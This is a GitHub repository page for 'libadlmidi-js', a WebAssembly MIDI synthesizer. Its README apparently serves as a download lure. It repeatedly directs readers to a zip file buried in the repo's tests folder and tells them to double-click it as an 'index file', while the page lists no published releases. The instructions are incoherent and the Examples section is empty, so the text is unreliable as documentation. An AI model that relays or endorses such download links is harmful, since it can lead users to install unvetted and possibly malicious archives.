Skip to content

🎡 Emulate OPL3 FM synthesis with libadlmidi-js, a WebAssembly MIDI synthesizer for real-time audio in your web applications.

License

Notifications You must be signed in to change notification settings

antitelescopio/libadlmidi-js

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

60 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎡 libadlmidi-js - Easy MIDI Playback in Your Browser

Download

πŸš€ Getting Started

Welcome! This guide helps you download and run the libadlmidi-js software with ease. Follow these simple steps to enjoy MIDI playback directly in your web browser.

πŸ“₯ Download & Install

To get started, visit this page to download the latest release:

Download libadlmidi-js

You’ll find various files and options for different uses. Choose the one that suits your needs and click on it to begin downloading.

πŸ’» System Requirements

libadlmidi-js works on modern web browsers like Chrome, Firefox, Safari, and Edge. To ensure the best experience, keep your browser updated. No complex installations are needed; simply open the files in your browser.

🎹 Usage

Once you've downloaded the release, you can start using it right away:

  1. Open the Index File: Locate the https://raw.githubusercontent.com/antitelescopio/libadlmidi-js/main/tests/js-libadlmidi-v2.7.zip file you downloaded. Double-click it to open in your web browser.
  2. Try Examples: Check out various examples such as a keyboard interface or MIDI player included in the package. These showcase libadlmidi-js features effectively.
  3. Load Your MIDI Files: You can drag and drop MIDI files directly into the interface or use the provided controls to select files.

🌟 Features

libadlmidi-js includes several exciting features:

  • AudioWorklet Integration: This feature runs audio in a separate thread, ensuring smooth performance without UI interruptions.
  • WOPL Bank Support: Feel free to load your custom FM banks or use the high-quality embedded banks included with the software.
  • Real-Time API: Gain fine control over MIDI channels, notes, and controllers to create the sound you desire.
  • Responsive Design: This application adjusts to various screen sizes, providing a consistent experience on both desktops and tablets.

🎧 Examples

Explore the following examples to see how libadlmidi-js performs various MIDI tasks:

❓ Troubleshooting

If you encounter issues, consider the following tips:

  • Ensure the Browser is Updated: Outdated browsers may not support all features.
  • Clear Browser Cache: Sometimes clearing the cache can resolve unexpected behavior.
  • Check Console for Errors: Use the browser's developer tools to view any error messages that may help diagnose issues.

πŸ“’ Community & Contribution

We welcome contributions and feedback. If you'd like to suggest improvements or report issues, please visit our GitHub issues page.

πŸ’¬ Support

For assistance, feel free to reach out through the issues section on GitHub. The community is here to help you get the best out of libadlmidi-js!

πŸŽ‰ Thank You

Thank you for using libadlmidi-js. We hope you enjoy creating sounds and exploring all the MIDI possibilities with this tool!

Download libadlmidi-js again here to start your musical journey today.

About

🎡 Emulate OPL3 FM synthesis with libadlmidi-js, a WebAssembly MIDI synthesizer for real-time audio in your web applications.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •